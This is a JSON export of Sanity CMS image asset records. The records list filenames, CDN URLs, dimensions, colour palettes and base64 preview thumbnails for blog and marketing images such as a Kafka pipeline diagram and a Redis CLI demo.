{"_createdAt":"2023-06-14T11:31:36Z","_id":"image-01ff00f1c4a8194377581dce126ad7dc904f0352-1025x1200-jpg","_rev":"FJE9FJz5NeK3Yo2P5NXDQR","_type":"sanity.imageAsset","_updatedAt":"2023-06-14T11:31:36Z","assetId":"01ff00f1c4a8194377581dce126ad7dc904f0352","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eND+#i0eM_M{-:~BELNaniozIoj]nj$*IpO=j[nis:RjoIoLX8Rkn%","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.8541666666666666,"height":1200,"width":1025},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAXABQDASIAAhEBAxEB/8QAGQABAQADAQAAAAAAAAAAAAAAAAcCBQYI/8QAIRAAAgICAgIDAQAAAAAAAAAAAQIDBAAFESEGEiJBYYH/xAAXAQADAQAAAAAAAAAAAAAAAAADBAUB/8QAHREAAgMAAgMAAAAAAAAAAAAAAQIAAyEEERIiYf/aAAwDAQACEQMRAD8AlmmsbCpuqkaScSe4QFB13liuXE1OxoVy880NzkM03HKv+ZGNNNAdnWiad3rxzAvIvbhQc7fy29HsfK6S6+d3pU4hIWZCAD9nBLUWOibx7KkGn2lFv1g0ysoJBQHGYavbUtpRisQW0Ccev9GMGCowwrVeTFlGH5PLel2Zo3WlkX3U89fudjT8vEVeaVYgJJfgARyOOMYxzvJOapTYHI2bHwjfR1tIEndg5lZuFXrvGMYuyAnuUUsYKBP/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#213a2c","foreground":"#fff","population":6.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#085a4c","foreground":"#fff","population":2.91,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#767e80","foreground":"#fff","population":6.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c29e90","foreground":"#000","population":5.6,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d5a99a","foreground":"#000","population":1.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#767e80","foreground":"#fff","population":6.17,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bf3959","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"jenn-junod.jpg","path":"images/sczeoy4w/production/01ff00f1c4a8194377581dce126ad7dc904f0352-1025x1200.jpg","sha1hash":"01ff00f1c4a8194377581dce126ad7dc904f0352","size":126242,"uploadId":"WOQvxzsyYalnqjcg3iNgeLkfNhmU07te","url":"https://cdn.sanity.io/images/sczeoy4w/production/01ff00f1c4a8194377581dce126ad7dc904f0352-1025x1200.jpg"} {"_createdAt":"2022-09-19T17:34:43Z","_id":"image-022f0a3edd84bbd8d87e3d733b9a8930d49d8e36-690x413-png","_rev":"heqX94pomd70Sxq8XxNPyk","_type":"sanity.imageAsset","_updatedAt":"2022-09-19T17:34:43Z","assetId":"022f0a3edd84bbd8d87e3d733b9a8930d49d8e36","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6707021791767553,"height":413,"width":690},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAABX0lEQVQokZVTyUpDQRBMjNtJcQ8BcUGC4NGbetDqag9KIChuePRPtdrvkpk37+W94EEHiplppqu3mp6IXgfehmUE0fvzUkOWHGcE6Z7syZaRyIttHuGzcyuzGWF2LPcOWo4dQs4RFsNAxKaIAxHbIhaTvUJN2iHq57aw+Jf2lKg5qy0RVyKmIm5E7ItYE20n3EbhNgzabtCGIkYFQxEb4VhsMvwkE1lftCPRHkS8i3gTcS3iXISF2yTcpkGbJOSgjrR7fuO21hA26dL2RLsT7UPEo4jLkumDHI/h9hS01yBeclDHsxz3crsQbbMpuZSbsCTaWDSKdiZiR8SRiFMRJ+E4jLQT42xzjOU4Fm0k2mqH8Av1BG1ZtHXRVoLoBzGIajiDcl8ow2vBFmpVVITlkGXSOv+mtY5savHX2mxPOT/Me0Wa9djS2Dy6wWa6bUr+vkXv86bpZfVrSoD86B/rB9ffKGfp3zXRAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5e3a35","foreground":"#fff","population":0.23,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6f1a18","foreground":"#fff","population":0.14,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5e3a35","foreground":"#fff","population":0.23,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#83151a","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec8d91","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ab5c58","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#df3d44","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"lenses-690x413.png","path":"images/sczeoy4w/production/022f0a3edd84bbd8d87e3d733b9a8930d49d8e36-690x413.png","sha1hash":"022f0a3edd84bbd8d87e3d733b9a8930d49d8e36","size":16380,"uploadId":"ZeUbZVTJdS7puUQWAC3ok5ZFm7qab9Wf","url":"https://cdn.sanity.io/images/sczeoy4w/production/022f0a3edd84bbd8d87e3d733b9a8930d49d8e36-690x413.png"} {"_createdAt":"2022-11-16T06:55:29Z","_id":"image-023234779de688fe2212e4712ce48417f32753a6-183x59-svg","_rev":"PJutSls1mvFq6xuKvmPsu9","_type":"sanity.imageAsset","_updatedAt":"2022-11-16T06:55:29Z","assetId":"023234779de688fe2212e4712ce48417f32753a6","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"DIOp*|t700Rj~q_3M{WBxuM{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.1016949152542375,"height":59,"width":183},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA8ElEQVQYlV3Q3ysfcBjF8e+VxoyZ5caNcrNbpZWimFoSI6UJKVzoG6IR5lcuuPEHqP2z57UefVbbLk59nj7vc3qe08Fw0yDeYShJzaP4itMkt0mOMY8xjGMSn/AeA/iID50kXexiDSvYwh42sY9z3OESO3+YJOXZwDLWG7vbwS88JfmBCzzgGdc4RG32E/c4wja67a+b5Kyx5XmuwNpkEdOYbWeuYgFLOMANzpJ8x1xxSWYw1eYv+FbbV2B19xZvmvpal9XJdJJTPOKkhYygP0l5epvK11+qwOrxVfX+SwV9xlWSlyTV5USSnv+4fzJ+A+bchRwEmIrsAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":0.38,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":0.38,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0.32,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.34,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"Everactive-logo-wht.svg","path":"images/sczeoy4w/production/023234779de688fe2212e4712ce48417f32753a6-183x59.svg","sha1hash":"023234779de688fe2212e4712ce48417f32753a6","size":5401,"uploadId":"9QiiByv4HbqZVe9fxRZp35BVHlDt1pO5","url":"https://cdn.sanity.io/images/sczeoy4w/production/023234779de688fe2212e4712ce48417f32753a6-183x59.svg"} {"_createdAt":"2022-09-02T14:48:13Z","_id":"image-05124ac7458446aab02056313fc4f2c70d388d17-950x950-png","_rev":"0gThdvMbf71ZLkDCR4RPty","_type":"sanity.imageAsset","_updatedAt":"2022-09-02T14:48:13Z","assetId":"05124ac7458446aab02056313fc4f2c70d388d17","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eJI#4D+aELYPXm~qf9bbx]a}0KFLR5m,nNIn4.V@-pIUm+H?bv%gX8","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":950,"width":950},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#432621","foreground":"#fff","population":3.72,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8f1513","foreground":"#fff","population":0.94,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e63a2c","foreground":"#fff","population":3.95,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aac6d0","foreground":"#000","population":0.3,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcbc54","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ab6954","foreground":"#fff","population":1.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e63a2c","foreground":"#fff","population":3.95,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"collage-aiven-people.png","path":"images/sczeoy4w/production/05124ac7458446aab02056313fc4f2c70d388d17-950x950.png","sha1hash":"05124ac7458446aab02056313fc4f2c70d388d17","size":244507,"uploadId":"m3fk8nmYzx9XOSDS6Bfqjld3QMrlscLY","url":"https://cdn.sanity.io/images/sczeoy4w/production/05124ac7458446aab02056313fc4f2c70d388d17-950x950.png"} {"_createdAt":"2022-06-16T22:54:03Z","_id":"image-05257fa2fe1957749749c691ddfab65d8cd1d67d-3632x1254-jpg","_rev":"qkpX9b3U0TpOGFQp8fO09x","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:54:03Z","assetId":"05257fa2fe1957749749c691ddfab65d8cd1d67d","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"D6Pjr#0002kr^j.TE3E2E2NH","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.8963317384370018,"height":1254,"width":3632},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAHABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAIGB//EACMQAAEDAwIHAAAAAAAAAAAAAAEAAgMEBRESExQhMUJRUnH/xAAVAQEBAAAAAAAAAAAAAAAAAAAEBf/EAB8RAAECBgMAAAAAAAAAAAAAAAEAAgMEERNRkSFBcf/aAAwDAQACEQMRAD8A2C2xRw3GGnpRFHXB43C1mCXdx1eFbdi9OLzxMLccmjTkH6iJ004tI8UuShhzXdUNOFJ9PeMjTUw9PVERFunA0nWBk7X/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#036b95","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0591c9","foreground":"#fff","population":5.43,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0591c9","foreground":"#fff","population":5.43,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bbc8dd","foreground":"#000","population":0.12,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8dd6ec","foreground":"#000","population":2.33,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#749cb7","foreground":"#fff","population":0.32,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0693de","foreground":"#fff","population":3.03,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"sphero.jpeg","path":"images/sczeoy4w/production/05257fa2fe1957749749c691ddfab65d8cd1d67d-3632x1254.jpg","sha1hash":"05257fa2fe1957749749c691ddfab65d8cd1d67d","size":443899,"uploadId":"7cAzyLdTWNyoLYEhnIxjKMe9CPDixPGV","url":"https://cdn.sanity.io/images/sczeoy4w/production/05257fa2fe1957749749c691ddfab65d8cd1d67d-3632x1254.jpg"} {"_createdAt":"2022-06-16T23:49:35Z","_id":"image-05841ba2260461aea04fde2c740de86bdc8f55dd-1200x630-jpg","_rev":"qkpX9b3U0TpOGFQp8fVQaP","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T23:49:35Z","assetId":"05841ba2260461aea04fde2c740de86bdc8f55dd","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNSB0Z|LRnGF]i%5aif6ozV[+uJ.oyxDI=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAwAEBf/EACEQAAICAgICAwEAAAAAAAAAAAECAwQAERIhBTEUIkGR/8QAFwEAAwEAAAAAAAAAAAAAAAAAAgUGB//EABsRAQEAAwADAAAAAAAAAAAAAAECAAMRBRWB/9oADAMBAAIRAxEAPwDpA03giBgjDomj0fscK/areP8AFfIXhFNLLw4snLS69jHfuFeh/MKaGOwipOgdV7AP5kP7NjYNnTNX2y3HBT7hURXsUoZSHLMu2IGhveWaoY1jjVEUKo9AZYt2+RqrWThhS0Adz//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8f1d09","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b0240c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb740b","foreground":"#fff","population":7.97,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c4be","foreground":"#000","population":0.18,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc74a4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aca8a2","foreground":"#000","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb740b","foreground":"#fff","population":7.97,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Catalyst_Case_Study_meta_preview.jpg","path":"images/sczeoy4w/production/05841ba2260461aea04fde2c740de86bdc8f55dd-1200x630.jpg","sha1hash":"05841ba2260461aea04fde2c740de86bdc8f55dd","size":209520,"uploadId":"RVtmP31xf01u40IVLi9zDTWt4tnCGioH","url":"https://cdn.sanity.io/images/sczeoy4w/production/05841ba2260461aea04fde2c740de86bdc8f55dd-1200x630.jpg"} {"_createdAt":"2023-01-19T13:27:56Z","_id":"image-0255bc816b6e6ef4e4896e97b55b40a08f90544a-1422x800-jpg","_rev":"XOlGy5GtRBKJG8lS63Z6XG","_type":"sanity.imageAsset","_updatedAt":"2023-01-19T13:28:57Z","altText":"Analytics pipeline demo for Apache Kafka ecosystem","assetId":"0255bc816b6e6ef4e4896e97b55b40a08f90544a","description":"Outside of the core services, we have a few extra stops along the way:\n- The Kafka Connect® framework for subscribing to the Digitransit MQTT feed\n- M3DB as a time series database along the top\n- A Grafana® instance for dashboards","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7775,"height":800,"width":1422},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAwACB//EACAQAAICAgEFAQAAAAAAAAAAAAECAAMEESEFEhQxUUH/xAAWAQEBAQAAAAAAAAAAAAAAAAABAwT/xAAcEQACAgIDAAAAAAAAAAAAAAABAgAhAxESQaH/2gAMAwEAAhEDEQA/AO6V25uVZaMO4Lpu0MR6jMc/IZ8PKXdVYB8hHALx+nKvbbwOSdx/DoOAu6x6+macvJhVGCMo2pGwZmiglOC+t/rSiJUgLADQ39lIjFVsfIHIehP/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#171c81","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0f1251","foreground":"#fff","population":0.57,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#eaefe2","foreground":"#000","population":0.63,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#eaefe2","foreground":"#000","population":0.63,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#91dbf5","foreground":"#000","population":0.27,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#817e69","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1670d","foreground":"#fff","population":0.23,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"metromap-V3.jpg","path":"images/sczeoy4w/production/0255bc816b6e6ef4e4896e97b55b40a08f90544a-1422x800.jpg","sha1hash":"0255bc816b6e6ef4e4896e97b55b40a08f90544a","size":123845,"title":"Digging into the underground","uploadId":"KLBuFt1uLL9J80J5B9UDBUjvhqgt3pV1","url":"https://cdn.sanity.io/images/sczeoy4w/production/0255bc816b6e6ef4e4896e97b55b40a08f90544a-1422x800.jpg"} {"_createdAt":"2022-10-03T06:57:25Z","_id":"image-026ed75f90c0b17766646a4a4297ab7dbe02ec15-1071x384-gif","_rev":"vDQRRYe9nRreptIRp9fh9I","_type":"sanity.imageAsset","_updatedAt":"2022-10-03T06:57:25Z","assetId":"026ed75f90c0b17766646a4a4297ab7dbe02ec15","extension":"gif","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.7890625,"height":384,"width":1071},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAHABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAEDBv/EAB4QAAICAQUBAAAAAAAAAAAAAAADAQIxEhMhUYGR/8QAFAEBAAAAAAAAAAAAAAAAAAAAAP/EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhEDEQA/ANtDmxhlo9J32xhlvoAFynM083tnsAAf/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c6860","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#515a29","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7b7c7d","foreground":"#fff","population":0.08,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#accca4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#90e8a4","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7b7c7d","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcc888","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/gif","originalFilename":"aiven-for-redis-create-service-cli.gif","path":"images/sczeoy4w/production/026ed75f90c0b17766646a4a4297ab7dbe02ec15-1071x384.gif","sha1hash":"026ed75f90c0b17766646a4a4297ab7dbe02ec15","size":75726,"uploadId":"NfiV1ZCQP0WzBuAYmpREhpFqk2tXH79i","url":"https://cdn.sanity.io/images/sczeoy4w/production/026ed75f90c0b17766646a4a4297ab7dbe02ec15-1071x384.gif"} {"_createdAt":"2022-12-14T10:52:06Z","_id":"image-028b97cf5eb26dabfd05b62664990d57d21aeaa4-2000x1228-jpg","_rev":"K0rtrsNuqDEgCtVQGjioro","_type":"sanity.imageAsset","_updatedAt":"2022-12-14T11:13:11Z","altText":null,"assetId":"028b97cf5eb26dabfd05b62664990d57d21aeaa4","description":"A sketch drawn by Marion Nerhring to illustrate the main messages of Developer Relations","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6286644951140066,"height":1228,"width":2000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAMABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAQCAwUH/8QAHBAAAQQDAQAAAAAAAAAAAAAAAQACAxESITEi/8QAFgEBAQEAAAAAAAAAAAAAAAAAAAEC/8QAFBEBAAAAAAAAAAAAAAAAAAAAAP/aAAwDAQACEQMRAD8A7G5+VOyqt0q45B6OR7xZ8sjgAL0VBkjs6WlPum31CTsoQf/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#565156","foreground":"#fff","population":0.29,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5d273a","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbf","foreground":"#000","population":12.48,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbf","foreground":"#000","population":12.48,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#edd4dd","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#848186","foreground":"#fff","population":1.61,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b34b70","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"DevRelCon-Prague2022-ScatchArt.jpg","path":"images/sczeoy4w/production/028b97cf5eb26dabfd05b62664990d57d21aeaa4-2000x1228.jpg","sha1hash":"028b97cf5eb26dabfd05b62664990d57d21aeaa4","size":183617,"title":null,"uploadId":"0rSeWC7UzXdV2bYczf3T8CF61xBqWyvh","url":"https://cdn.sanity.io/images/sczeoy4w/production/028b97cf5eb26dabfd05b62664990d57d21aeaa4-2000x1228.jpg"} 